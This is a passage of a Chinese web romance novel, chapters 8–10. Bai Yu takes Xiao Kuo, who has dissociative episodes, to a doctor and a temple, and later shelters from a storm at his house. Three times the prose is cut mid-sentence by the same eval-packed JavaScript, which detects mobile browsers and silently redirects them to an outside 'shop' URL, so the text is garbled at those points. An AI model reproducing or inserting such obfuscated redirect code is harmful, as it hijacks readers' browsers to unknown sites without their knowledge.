带着萧阔出了地铁口,柏妤这才说了实话:“我想带你去看医生。”说完后她观察着萧阔的表情。
“啊,这样啊。”柏妤预想的坏可能通通没有发生,萧阔只是简单地表示自己知道了。
“那等我看完医生,我们就去桃山寺吧。”
“好。”柏妤点头,这次是真心实意地答应萧阔。
*
楚医生的办公室很整洁,文件摆放的有条不紊,甚至按颜色做了区分,可以看出他是一位非常细心的医生。
他给柏妤倒了一杯热水,接着带萧阔去里面的就诊室咨询检查。
楚医生手上有萧阔之前检查的诊断结果,现在需要和面前的这位萧阔面对面谈谈,以此来确认接下来的治疗方法。
“你好,医生。”萧阔先向楚医生问好。
在接下来的一段时间里,柏妤坐在外面的沙发上等候。她感到有些无聊,便开始玩手机。
想到一旁的桃山寺,柏妤很感兴趣地搜了搜。桃山寺很多桃花,树上总会栖息着一些可爱的小鸟。
柏妤看见今天有人发帖,帖子中的桃山寺桃花已经盛开了很多,也有不少被雨砸到了地面上。
寺庙的建筑很有雅致,盛开的桃花更是增添了古韵,雨珠顺着屋檐从砖瓦落下。
桃山寺不需要买票,但需要注意的是寺庙会在下午五点钟关门。
柏妤看了看时间,距离五点钟还有一个小时不到,也许今天没时间去了。
萧阔抬手看了眼手表,“楚医生,我今天稍微有点赶时间。”
他指了指门,示意楚医生加快进度,萧阔需要提前离开了。
楚医生擦擦额头的汗,一边记录一边回应他:“好的好的。”
这简直太奇怪了,面前的萧阔和联系他的萧阔完完全全就是一个人。
楚医生的职业素养告诉他,这就是同一个人。可萧阔突然喜欢柏妤和他遗忘的症状又确实显得有问题。
他只能先记录下来这些症状,再具体分析到底是什么原因。
柏妤这个时候已经没有再看桃山寺的帖子了,她觉得今天很大概率去不了,看多了只会徒增遗憾。
就诊室的门打开,萧阔先走出来,“走吧,去桃山寺。”
居然这么快就结束了,柏妤因为起码还要再等一个多小时。这样的话,他们还有空余的时间去寺庙。
和楚医生道别后,萧阔和柏妤打车去了桃山寺。因为临近晚高峰,又恰巧是雨天,路上有些拥堵。
车子溜一会儿停一会儿,速度堪比蜗牛。这样肯定来不及。
“桃山寺五点就关门了,这路上实在堵。它也不远,你们走过去大概十五分钟,要不你们取消订单吧。”
司机师傅很陈恳地告诉他们,打车去绝对赶不上,走路去反而还能节省点时间。柏妤看看时间,就剩半个小时关门了。
就算现在走路去了,他们也不能逛尽兴。改时间下次早点来,可以把桃山寺好好逛逛。
“去看看吧,这次是这次的。”
也对,雨天的桃山寺比平日里多了几分肃静和安逸,是和晴朗的天气完全不一样的桃山寺。
“那走吧,我们快一点去。”
司机师傅将车在前面的路口停下,萧阔先下车将伞撑好,柏妤从车里钻出来,把他揽到伞下。
既然决定要去,柏妤还是尽可能地多一些时间,“我们走快点。”
柏妤一边念叨着“快跑快跑”,一边抓着萧阔撑伞的手腕,想要将他也带的跑快些。
行人步履不停,匆匆来又匆匆走。萧阔和柏妤在同一把雨伞下赶路。
十几分钟后,他们到达了桃山寺的门口,寺庙里焚香的气息很淡雅,隔着雨水又觉得清冷。
入口处可以免费领香,领完之后就可以自己逛逛寺庙了。
桃山寺的桃花果然名不虚传,树梢上粉色的花朵各个娇俏动人,浅浅的花香混在焚香味中。
因为两天同挤在伞下,一直拿着香便容易被雨淋湿。柏妤打算先把香拜了,再仔细逛寺庙。
“我要求财神。”虽然知道桃山寺的姻缘最灵验,但柏妤还是想要求财神。
她这次也会诚心诚意地许愿,希望财神爷可以实现她的愿望。
柏妤以为萧阔也会跟他一样,求财运。但萧阔去了另一边,这让柏妤有些好奇,萧阔想求姻缘还是事业。
等等,现在先不能想这个问题,柏妤将杂念摒出脑海。毕竟,心诚则灵。
柏妤上完香,去找萧阔。萧阔将她的雨伞摆在殿门外,柏妤有伞,萧阔却没有。
她沿着桃花树一路找过去,每路过一殿都会张望着萧阔在不在。
找到萧阔的时候,他正跪在蒲团上,身前的佛像头戴毗卢冠、身披袈裟,左手持锡杖、右手持珠宝。
萧阔的背挺得很直,叩拜时虔诚地弯下腰。柏妤站在殿外读门口的注释。
“众生度尽,方证菩提。”
“祈求平安顺遂、消灾解厄。”
等柏妤读完门口柱子上对地藏王菩萨的介绍之后,萧阔站起身来。他没有立刻出来,而是往功德箱里捐了些钱。
殿内的光线比室外稍暗一些,萧阔的动作专注认真,并没有发现柏妤在门口看他。
等他从殿内出来了,才见到已经退到柱子后的柏妤。
“小妤,你在等我。”萧阔自然地牵起她的手,这样的次数太多,柏妤已经放弃挣扎。
“我是不是也应该往功德箱捐点钱?”柏妤本来觉得自己已经很虔诚了,但和萧阔一比,自己竟然没有捐钱。
可时间上有些来不及了,已经有僧人提醒他们马上就是关门时间。
“小妤,心诚则灵,我这是还愿。”萧阔拿起柏妤另一只手上的雨伞,伞面砰的一声支开。
“还愿?”
“嗯,比如你今天求财,以后发财也要记得回来还愿。你可以等那个时候再往功德箱捐钱。”
“那我要有很多钱才能算发财,因为我比较贪财。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101580|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“好,等你发财了,我们再一起过来吧。”
从寺庙出来,柏妤觉得自己身上都沾上了淡雅的焚香气息。可能是寺内的环境很好,柏妤觉得自己思绪也清明不少。
她清楚地感觉到自己肚子有点饿了。萧阔见她低头的样子很是可爱,捏捏她的手说:“吃饭去了。”
*
萧阔是半夜醒的,手机屏幕显示凌晨两点。
病症再一次出现了,并且比上一次要严重,他不知道自己是什么时候切换的。
手机上有很多信息,大部分都来自楚医生。萧阔从他的言语中了解到柏妤今天将自己带去了楚医生那里。
依据楚医生的判断,萧阔并没有人格分裂。更准确一点,从始至终都只有一个萧阔。
在萧阔和柏妤离开后,楚医生在台灯下整理今天做的记录,他反复思考和萧阔之间的谈话。
从始至终,萧阔都很冷静或者说几乎没什么情绪地回答他的问题。这一点和委托他的萧阔性格很像。
猜测自己有精神疾病之后,萧阔前来委托他参与治疗。萧阔对于已经发生的事有着绝对的理性。
他更在乎的是接下来应该怎么做,要怎么处理问题和解决问题。
或许萧阔有情绪,但起码从他的神情举动来看,他很平静。今天的萧阔也是如此。
但不同的是,今天的萧阔对时间更在意一些。
楚医生注意到萧阔有几次下意识看手腕的动作,但他今天没有带手表。所以只能抬眼看楚医生身后的钟。
楚医生记得,上次前来委托的萧阔没有带手表。当天是工作日,按照萧阔的性格,这说明他可能没有戴表的习惯。
楚医生在纸上不停地记录着,写字时刷刷的声音被安静的空间放大。
他再抬头时,注意到萧阔有些心不在焉,他的注意力并不在这里。
“楚医生,我今天稍微有点赶时间。”
“好的。”楚医生必须尊重患者本人的意愿。
临近出门时,萧阔扭头说了一句:“就诊室的隔音很好。”
没头没尾的一句话,楚医生不自觉地深思说这句话的内在逻辑。直到他跟着出门,听见萧阔在问柏妤:
“刚刚在做什么?”
楚医生突然间意识到,刚刚走神的时候,萧阔也许在试图听清门外柏妤的动静。
“萧先生,我认为你的症状更符合解离性失忆,而非人格障碍。”
“尽管我认为这里不存在第二人格,但为了方便区分,我仍然会称作他。”
“他对柏妤有着非同寻常的占有欲和专注度,这一点我相信你也清楚。”
楚医生提到了今天萧阔看表的习惯,“他很在意时间,这很可能是由于分手所导致的。”
“当然,这不属于第二人格,你可以理解为:在醉酒状态下,自己产生了一种,明天的我就不记得了的心理。”
“对于他来说,他认为明天就有可能和柏妤分手,因此很在意和柏妤相处的时间。”
“并非是两种人格,而是两种状态。至于这种状态为何产生,大概率由于你的心理防御机制。”
“在你进入喜欢柏妤的状态后,你就会变成他。”
“根据现在的情况,我觉得需要做的是暂停,停下一切对抗和排斥,去探究自己的内心。”
“另外你要我问的他为什么喜欢柏妤,你说这是你和她之间的事。”
9. chapter9
萧阔看着楚医生发来的文字,如果不是确信自己没有所谓的心理防御机制,他几乎都要认同楚医生说的话了。
萧阔有幸福的童年和天之骄子般的人生,没有谁的生活是一帆风顺的,但他是萧阔。
他出生在一个有爱又有钱的家庭,母亲经营着一家医疗器械公司,父亲是大学教授。
前年父亲申请了国外的博士学位,决心继续深造。父母虽分居两地,但彼此恩爱,得空了就会电话联系。
他本人从小到大天赋点满,对他来说就好像没有什么特别难解的题。他顺利升学,保送泠大。
而现在,萧阔面前出现了一道复杂且毫无逻辑的题目,这是他有史以来面临过最难的问题。
理智告诉自己,楚医生的判断已经是最贴合逻辑的解法了,但情感上,萧阔仍然在思考其他的可能性。
楚医生说的,他不打算全部照做。事实上他就没有对和柏妤恋爱这件事有多大的排斥。
因为萧阔根本就不认为那是他自己,所以他第一反应就是解决问题,为后续自己接管身体排除麻烦。
但现在医生很明确告诉他,根据医学逻辑,那就是他本人,就是萧阔自己非要跑去找人家谈恋爱,还一天到晚要亲亲。
萧阔不完全相信楚医生的判断,但是解离性失忆是没有药物治疗的。除非是产生失眠、焦虑等并发症状。
如果想要治疗的话,只能遵循医生说的,停止对抗,接纳自我。
萧阔企图找到自己对抗自我的证据,他并没有对抗自己的内心或是自己的情感。不过,分手确实是他提出来的。
那他能做到只有停止对抗的行为,要放任自己去和柏妤接触吗?
思考了将近一分钟,萧阔意识到很残酷的一点,单就行为来说他完全无法控制自己。
选择权并不在他,而在柏妤。他能做的,只有请求柏妤不和自己相处。
柏妤按照他的想法做了,但他发癫把人家逼下楼了。萧阔生平第一次感到无力,一夜无眠。
“小妤宝宝戳了戳你。”第二天早上是柏妤先发来消息。
她不知道对面的是哪个萧阔,因此很谨慎地只使用了戳一戳。
柏妤的备注从小妤宝宝被改成柏妤,但昨天又被改回了小妤宝宝。
萧阔眼睛里有些红血丝,他一晚没睡着。
他根据各种逻辑进行推算,甚至给远在国外的父亲打电话,问自己小时候有没有什么心理阴影。
父亲说萧阔小时候有段时间特别害怕《侏罗纪公园》里的恐龙,可能恐龙是他的心理阴影。萧阔一声不吭把电话挂了。
“小妤宝宝又戳了戳你。”
萧阔连更改备注都做不到,先改备注再被改回去,这么做没有任何意义。
“柏妤,方便见面吗?”
如果说一切的选择权都在柏妤手中,那么核心和关键都在她手中。
解数学题时,最重要的审题。一遍读不懂就读第二遍,读题干是主动的、分析的、联想的过程。
如果想要解决一道数学题,首先要做的就是审题。柏妤就是这道题的题干,萧阔需要分析她、联想她、读懂她。
*
“继续相处?”柏妤不可置信地重复了一遍萧阔刚刚说过的话。
萧阔找到柏妤,简单易懂地将楚医生的话转述了一遍。即使他不完全相信楚医生,但他觉得柏妤是会进遵医嘱的人。
“萧阔,你真的没有想过超自然原因吗?”
柏妤被他笃定的语气说的有些不自信,她都有点怀疑究竟是不是因为自己许了愿。
“我不相信情感可以人为控制。”这在本质上就否认了个人主体性。
“你有没有听过爱情魔药的故事?”
在大学的英语教材里有篇阅读,题目是lovepotion,翻译过来就是爱情魔药。
故事讲的是有家商店售卖爱情魔药,购买这种魔药,就可以让自己喜欢的人爱上你。
“你想说你给我喝了爱情魔药?”
“如果我说是的呢?”
“柏妤,你喜欢我吗?”
“我不喜欢你。”柏妤矢口否认,回答的语速太快,双方都沉默下来。
“那你为什么要同意恋爱?”
柏妤自己都很震惊,为什么会否认的这样快,等她反应过来时,“不喜欢”三个字已经脱口而出了。
“因为你很帅。”
“仅此而已?”
“可能你还很聪明?”柏妤有些犹豫地找补。
“哈哈……”他突然嗤的一声笑出来,看起来像是被柏妤的话逗笑了。
但柏妤不知道自己的话有哪里好笑,因此有些紧张不解地看着他。
萧阔收起笑容,回答她:“没事,只是觉得很有意思。”就像遇到了有意思的难题那样。
“不是问我会怎么做吗?”萧阔又将问题拐回到爱情魔药上。
“如果说没有解药的话,我可能也会去买一瓶。”
“为什么?”柏妤有些震惊他的回答。
“我都中了爱情魔药,当然也只能想办法让我喜欢的人喜欢我了。”
“可是她就是喜欢你才买的爱情魔药。”
“谁知道呢,可能只是看脸呢?那等我老了就会被抛弃。”
柏妤的脸色憋红,她觉得萧阔话里有话,像在对她刚刚的话含沙射影。
但是柏妤又觉得萧阔应该不会对她刚刚说的话有什么反应,眼前的气氛过于古怪,柏妤主动转移话题。
“那要怎么相处?”柏妤问他。
“我不会再干涉你和他之间的事。”柏妤知道他指的就是另一个萧阔。
“意思是我和他继续恋爱吗?”柏妤怯怯地问出来。
“都可以,一切随你的心意。”
一下子获得这么大的处置权,柏妤有些心神不宁,她甚至有些不敢接。
“如果你看腻了我的脸,或者喜欢上其他人,随时可以分手,我会处理好我自己。”
萧阔又这样说了,柏妤察觉到大概是自己的话惹到他了。
她设身处地想,如果反过来萧阔对柏妤说,柏妤长得很漂亮的话,柏妤会很开心。
所以她不知道萧阔为什么生气,她琢磨起萧阔的话来。或许是因为萧阔觉得她没有内涵,只看颜值?
她是不是应该先道歉,可是道歉就得说明自己和他谈恋爱的其他理由,那样不就得承认自己喜欢萧阔了吗。
咦,萧阔说可以随时分手?什么意思,他们不是已经分手了吗?
“你要继续相处吗?”见柏妤好似已经神游,萧阔提醒她。
上一个问题还没纠结完,下一个问题又接了上来。
柏妤想萧阔才适合当主持人,他外形条件好,声音也好听,还总是问问题Q流程。
要不要和萧阔继续相处呢?答案是肯定的。楚医生说了,治疗方法需要他们先自然相处。
而且萧阔既然提出来了想继续相处,那么作为始作俑者柏妤就没有拒绝的理由。
“要的。”她这样回答。
*
距离和萧阔的约定已经过去了好几天,这几天萧阔没有和她相处。喜欢她的萧阔似乎也没有出现。
柏妤开始每天写日记,自从她上了大学之后,写日记的习惯就逐渐拉下了。
但是最近发生的事情太多,柏妤开始在手机备忘录里写日记。她想记录下萧阔恋爱的样子,也想找到他出现的规律。
只是已经好多天没有和萧阔见面了,他们不在同一院系,平时在学校里也很难遇见。
那天是周五下午,暴雨突袭。柏妤那柄小小的晴雨两用伞在风雨中彻底报废,她被困在快递站的棚屋下。
“下雨了,我的伞坏掉了。”柏妤发表情包向室友哭诉。
“我们还有一站才到学校呢,你别冻到了,你给隔壁宿舍发信息,问问她们有没有人方便去接你的。”
柏妤不想发,她和隔壁宿舍的人不是特别熟,这么大的雨让人家到快递站来接自己,好像有点太麻烦了。
快递站的工作人员坐在靠椅上刷短视频,声音开的特别大。他刷着甄嬛传的解说,刚好是祺贵人淋雨的那集。
柏妤蹲下来对着雨发呆,或许这种暴雨很快就会变小,等雨小一点,她就跑回宿舍换衣服洗澡。
“你这得找个人来接啊,天气预报说这雨小不了,我这没伞。”刷视频的叔叔冲她喊道。
柏妤没有看天气预报的习惯,她的伞很轻巧,不管晴天雨天她都放在包里。
她哪里能料到今天雨伞在狂风暴雨下直接报废了,伞头不知怎的卡住了,怎么撑也撑不开。
柏妤被风吹着有些冷,心一横,用撑不开的伞遮住头,然后往雨里一冲。
“哎!小姑娘你这咋回事啊!其实我有伞,我有伞!”
快递叔叔在后面大声喊她,他就怕学生拿了伞不还了才说没有的。谁曾想这小同学脑袋一伸就往雨里冲啊。
柏妤被雨淋的完全听不清他说的话,她护好手机,自顾自地往前跑。
跑到宿舍中间的便利店,柏妤才暂时停下来。她抹抹脸上的水,在店员异样的眼光下在便利店逛了一圈。
雨伞售卖区的雨伞,柏妤看了一下,伞面都偏小。她已经有些不信任这种小巧精致的雨伞了。
还是算了,反正都淋了雨,还是等回去之后在网上挑吧。不过柏妤要在便利店买一些卫生巾,她快来月经了。
拿出手机付完钱,微信消息弹出来,“小妤。”
“你在哪里,我去找你。”
不行,萧阔现在来柏妤完全没有时间见他,屏幕上有些水渍,因此打字很不方便。
柏妤一边走出便利店,一边按住语音说道:“我刚刚出学校了,暂时不方便见面。”
说完她收起手机,抬头准备冲进雨里,迎面和路过的萧阔遇上了。
“小妤!”萧阔的语气有些急,他快步走到柏妤身边,将雨伞撑在她的头顶上,接着脱下外套就要给她披上。
“怎么把自己弄成这样?”
“我的雨伞坏了。”柏妤有些委屈地回应。
“我不穿你外套了,等会弄湿了,我一会儿回去就洗澡。”
萧阔没有理会柏妤的拒绝,还带着体温的外套将柏妤裹起来,萧阔将拉链拉到她下巴处。
“你没接到通知吗?风雨太大,学校暂时没有热水了。维修时间不定。”
看柏妤一脸懵的表情,萧阔就知道她不知道这件事。也许是因为还没通知到她们宿舍楼。
隔了十几秒钟,宿舍群里发来消息,正是萧阔说的那则通知。
柏妤的头发身上都湿完了,再不快点洗热水澡,柏妤真的会得重感冒的。她对上一次感冒的悲惨经历还心有余悸。
“我去酒店…。”话还没说出完,柏妤突然想起她的身份证锁在自己的小盒子里。而钥匙在图书馆的笔袋里。
图书馆每周五晚上会提前闭馆,柏妤今天下午在图书馆学习,她把东西都留在图书馆的柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101581|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子里,打算明天早早去的。
柏妤根本想不到会遇上突发状况,图书馆现在已经闭馆了。
“你跟我回家。”萧阔不由分说地牵着她的手往校门口走,他一边打电话约车一边将柏妤紧紧搂在怀里。
“对,就现在到学校门口。”
等他挂了电话,柏妤才小声问:“我的衣服都在宿舍里。”
“等会儿重新买。”
“不要,我……”柏妤反驳他,只是她话还没说,萧阔就打断了她。
“车到了,上车。”
“但是我身上都是湿的。”柏妤担心会把这辆价值不菲的车子弄湿。
“我现在有点生气,先上车。”柏妤被萧阔轻推进车里,他自己则是从另一边上车。
萧阔直白地表达自己的情绪,柏妤看着他略显冷漠的样子,就好像那个不喜欢她的萧阔一样。
司机一言不发,车里暖气开的很足。
“为什么没有联系我?”正如萧阔所说,他很生气。尽管车里开着暖气,柏妤都觉得他的话语带着冰块。
“…我不知道你今天喜不喜欢我。”柏妤垂下眼说,萧阔一瞬间好像呼吸都停止了。
“小妤,我永远爱你。”萧阔这次没有说喜欢,他说的是爱。
对柏妤来说,爱这个字沉甸甸的压在她心脏上,她有些喘不过气。
萧阔竟然说爱她,因为她那个可笑的愿望,萧阔就爱上她了。但流星也是善良的,起码萧阔还有一部分理智的自我。
见柏妤没有回应这句话,萧阔像是并不在意她的答复一般,将话题牵到别处。
“小妤今天是倒霉蛋。”萧阔拿了毛巾帮她擦头发上的雨水。
柏妤脸一红,她今天就是运气格外不好,先是伞坏了,接着又是不能洗澡。
“我运气就很好。”萧阔突然这样说,柏妤有些不解。
“我捡到了小妤啊。”
他突然间凑到柏妤耳边,声音很轻地说道:“接吻可以传递好运哦。”
柏妤扭头看向萧阔,他带笑的眼睛半眯着,眼型好看、睫毛浓密。
柏妤的目光移向他的嘴唇,薄唇,如果用力亲的话会红肿,变得更加饱满。
上一次亲吻好像已经是很久之前的事了。
柏妤这才对要去萧阔家这件事有了实感,她不敢再多言,生怕萧阔要在司机面前说出什么话。
“一会儿想吃什么?”萧阔问她,他一会儿要去商场,柏妤想吃的可以提前订好,买完直接取走。
“点外卖不就好了?”听萧阔说要去买吃的,柏妤发出疑问。
“可是我要去商场啊。”
“要去商场做什么?衣服也可以点外卖呀。”柏妤问他。
萧阔突然低下头对着手机敲起字来,他发完消息,柏妤这边的提示音刚好响起。
[给小妤买内衣。]
萧阔看着柏妤从脖子一路红到脸上,他止不住地笑了起来。
还有内衣这件事,柏妤光记得衣服裤子可以点外卖送,但是内衣呢?
柏妤紧张地手脚都不知道要怎么放了,她把手机屏幕暗灭,漆黑的屏幕上倒映出她羞涩的脸。
萧阔家很快到了,他家距离学校不远,是萧阔的独居别墅,他放假或是周末有时会来这边住。
柏妤在心里感叹,萧阔家真的很有钱。她以前只是听说,今天见到萧阔竟然有自己的房子。
真的好有钱啊,难怪他当时没有去许愿发财呢。
走进萧阔家,柏妤东张西望地有些好奇。平时萧阔就住在这里吗?客厅很简洁,有几本书摆在桌上。
没等柏妤好奇完,萧阔把她推进浴室。浴室分为淋浴空间和泡澡的浴缸。空间很宽敞,在这里唱歌跳舞似乎都不拥挤。
萧阔给她调好了水温,接着去房间找了件他自己的卫衣。
“等会儿洗完如果我还没回来,你就先穿卫衣,不要感冒了。”
萧阔离开之后,柏妤脱衣服准备洗澡。她往镜子那看了一眼,看见了自己被雨淋成落汤鸡的狼狈样子。
好丢脸,柏妤心想,她刚刚就是这样样子出现在萧阔面前的吗?
“啊啾!”一个喷嚏突然响起,柏妤意识到自己不能再拖延下去了。
她飞快地冲进去洗热水澡,水温刚刚好,非常暖和。
柏妤看向一旁的沐浴露,有使用过的痕迹。萧阔平时用的就是这款沐浴露吗?她暗自记下沐浴露的品牌。
萧阔身上一直有种很浅的薄荷夹草香,柏妤接吻拥抱时,喜欢偷偷闻他身上的气味,像是自己跑进了雨后的森林。
洗完澡,柏妤拿起萧阔的卫衣,是一件很大的蓝色卫衣。萧阔的卫衣穿在她身上,把她的大腿全遮住了。
卫衣刚穿上身,柏妤就问到了淡淡的香味,是薄荷。萧阔身上的草木香来自沐浴露,薄荷味来自洗衣液。
柏妤不自觉地拽起卫衣的下摆,低下头将整张脸都埋进衣服里。全部都是萧阔的味道。
“衣服放在门口了。”敲门声响起,柏妤吓得一抖,瞬间松开手。
她清清嗓:“好、好的。”
柏妤将门开了一条小缝,门口是一个纸袋,萧阔不在这。她松了口气,将纸袋取了进来。
纸袋里是淡粉色的套装,上面还有蝴蝶结装饰。手感非常顺滑舒适。
柏妤一刻也不敢多想,快速穿上身。重新套上卫衣准备出门时,柏妤突然意识到一个致命的问题:
她好像没有告诉萧阔自己的size吧?
10. chapter10
从浴室出来后,空调让整个客厅都格外温暖。落地窗外的暴雨在玻璃上留下一层一层的水波。
萧阔站在柏妤身后给她吹头发,热风发出嗡嗡嗡的声响,这让柏妤有些犯困。
“困了吗?要不要我去房间给你铺床。”
“反正都穿好睡衣了。”
应柏妤的要求,萧阔给她买的是睡衣而非常服。自从上次感冒之后,柏妤就一直打算购入一件冬天穿的睡衣。
柏妤是不喜欢穿着厚衣服睡觉的,可萧阔选的这件,虽然偏厚但意外柔软,穿在身上没一会儿就暖和起来。
不过这也加剧了柏妤的困意,她忍着困意打起精神回答:“不要,我等会儿要回学校。”
萧阔没再说话,柏妤的发丝在他指间滑过,头发已经干了。
屋外的雨还很大,柏妤是真的有些困,上眼皮和下眼皮一直在打架。
“不想吃饭的话,先把姜汤喝了吧。”
萧阔从厨房端出来一碗热姜汤,是刚刚买的,带回来之后加热一下就可以喝。
柏妤有些不愿意喝,生姜的味道光是闻起来就有些辣。
萧阔的手摸了摸柏妤的额头,她被突如其来的动作吓了一跳,随即感受到萧阔手上的温度:“你的手好热。”
“是你很热。”
柏妤顺着他的动作摸了摸自己的额头,“没有啊,我觉得我的温度正常。”
萧阔捉住她反复量温的手,“你的手当然摸不出来啊。”
他把姜汤再次递给柏妤,柏妤只好接过去抿了一口,这一口辣的她鼻子都皱了起来。
萧阔见她表情夸张有些好笑,“这么讨厌生姜啊?”
柏妤这回是捏着鼻子喝的,尽管如此,生姜的辣味依旧无视她的防御直接刺激着脑袋。
“生姜和香菜更讨厌哪一个呢?”
“香菜吧…”
对柏妤来说,这两个她都不喜欢。一定要一决高下的话,她还是愿意把冠军交给香菜。
一碗姜汤下去,困意消散了大半。天色已晚,柏妤想她应该要回学校了。
“可是雨还很大,要不先吃饭,等雨小一些我让司机来接我们。”
这么说着萧阔已经把买回来的饭菜在餐桌上摆好,正走去厨房拿碗筷。
柏妤看着外面倾盆大雨,她对这附近不熟悉,要回学校应该也是要打车的。现在雨这么大,确实不好开车。
于是她听了萧阔的建议,决定一起吃完饭再走。
餐桌上的饭菜是一些小炒家常菜,很大程度上激发了柏妤的食欲。而且那些菜无一例外,都是柏妤爱吃的。
她有些好奇,为什么萧阔似乎总能掌握她的喜好呢?是巧合吗?
这么想着,柏妤竟然就将心声问了出来。
“因为你挑食太明显了。”
在萧阔眼中,柏妤对食物有很明显的喜好。比如她喜欢青菜、香菇、荷包蛋,讨厌香菜、生姜、辣椒。
“这只能说明你的洞察力比较好,不能说明我挑食。”
柏妤认为自己并不挑食,大多数的菜她都可以接受,就算有不爱吃的,强忍着也可以吃下去。
因此柏妤对于萧阔的判断有些不满意。
她开始回忆萧阔的饮食习惯,只是她或许没有那么仔细地观察过,硬着头皮想半天也想不出来。
和萧阔一起吃饭的经历少之又少,有好几次都是柏妤自己爱吃的菜。
至于那次在学校附近的川菜馆,由萧阔点菜的那回,柏妤也光记得那道混满香菜的西湖牛肉羹了。
不过,西湖牛肉羹,和萧阔一起吃饭的经历中似乎只有那一次出现了香菜,但是当时是不喜欢自己的萧阔。
眼前的萧阔是怎么知道自己不爱吃香菜的呢?难道说他拥有全部的记忆呢?
“你是怎么发现我不爱吃香菜的?”
萧阔愣了一下,很快接到:“你忘了吗小妤,之前周末在家点外卖,你说让我备注不要香菜。”
萧阔说着就要将手机里的外卖订单找出来给她看,柏妤回想起那个满是亲吻和荒唐的周末,叫停了他的动作。
那个周末,柏妤觉得自己像活在梦里一样,睁眼闭眼都是萧阔。只是在亲吻和拥抱的间隙里,柏妤想不起来这件事。
再次被提起的周末,柏妤光是回想着就有些头皮发麻,热意一瞬间像生姜味般冲上脸。
柏妤再次看了看时间,已经很晚了,但雨似乎还是没有变小。柏妤想不能再等下去了。
尽管萧阔给了柏妤选择的权利,而且柏妤也决定好要继续和萧阔相处。
但夜晚悄无声息地放大了暧昧的气氛,柏妤即使望向窗外,也能察觉到一旁萧阔的眼神。
亲吻。
亲吻是舒服的事。柏妤不得不承认,萧阔好像在接吻这件事上极有天赋。
他似乎很擅长让柏妤舒服,只是那种近乎恐怖的舒适和爽感让柏妤有些害怕。
在这样的黑夜,和萧阔独处一室。如果真的开始亲吻,那么还可以由亲吻结束吗?
柏妤是很容易害羞的人,即使看少女漫画,也只停留在那些非常纯粹的恋爱情节。
柏妤一直不敢问,萧阔是怎么给她买的内衣,怎么知道她的尺寸。她不敢深究。
“我们现在就回学校吧。”雨好像不会再小了。
“好,我去拿件外套给你。”萧阔很爽快地答应了。
萧阔给柏妤拿了款半长的薄羽绒服,柏妤将卫衣脱下来,套上了外套。
因为是中长款,长度还算适宜,只是肩部有些太宽了,又充了羽绒,穿在柏妤身上有些不伦不类的。
今天的温度实在是有些低了,好在一场春雨一场暖。这次的暴雨过后,应该会彻底回温吧。
“那我现在给司机打电话。”萧阔推开门,冷空气迎风而来。柏妤站在旁边等。
“啊,怎么会这样呢?”萧阔低头看了柏妤一眼,柏妤有种不好的预感。
“那我们今晚是不是不能回学校了?”
“嗯,好,知道了。”萧阔一挂断电话,柏妤就凑上去问他。
“司机说雨太大了,有段路封了,来不了。”
“地铁呢?我们坐地铁回去。”
“你要走去地铁口吗,不太近呢。”
从萧阔家走去地铁站,即便是路程很近,雨也下的非常大。萧阔只有一把伞,在这种情况下很容易淋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104994|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
湿。
“轰隆隆——”
雷声骤然炸开,柏妤一把抓住萧阔的胳膊,“怎么还打雷了。”
“小妤,今天真的不适合回去了。”
“轰隆隆——”
萧阔扶着柏妤的肩膀,将她推进屋内。门关上,隔绝了屋外的雨声和雷声。
好似一切又安宁下来了,明亮的灯光、温暖的屋内。
还在运作的空调呼呼吹出热风。萧阔刚刚出发之前,忘记关空调了。
迫于天气,柏妤只能在这里住下。在柏妤刷牙洗漱的时间里,萧阔正在铺床。
这里一整个寒假都没人居住,虽然雇人定期打扫,但被子还需要重新铺。
柏妤出来之后,萧阔已经把床铺好了。柏妤其实更想住在客卧、或者是客厅。
萧阔家有多余的客房,但是只有两床被子。一床夏被、一床冬被。
他家本就不会有其他人来,因此客卧只是个摆设,既没有准备床被,也已经堆了些杂物。
至于客厅,萧阔说客厅的空调超过六个小时会漏水,还没来得及修。
柏妤有些怀疑萧阔说话的真实性,但是萧阔的表情实在是太坦然了,完全没有被怀疑后的心虚。
“如果小妤不想和我一起睡觉的话,我可以去客厅。”
萧阔抱起那床薄薄的夏季蚕丝被,光是看着柏妤似乎就能感受到它在夏天会有多么凉爽。
“你会感冒的。”客厅的空调不能开超过六个小时,那后半夜岂不是只能受冻了。
萧阔洗漱的声音从浴室传出来,柏妤一个人坐在床上将自己缩成小小一团。
好烦好烦好烦,她怎么就决定了和萧阔一起睡觉呢?柏妤听着浴室的水声,觉得好紧张。
一起睡觉的话,另一个萧阔真的会愿意吗?他醒过来的时候会不会更讨厌自己。上一次柏妤就好像把他惹生气了。
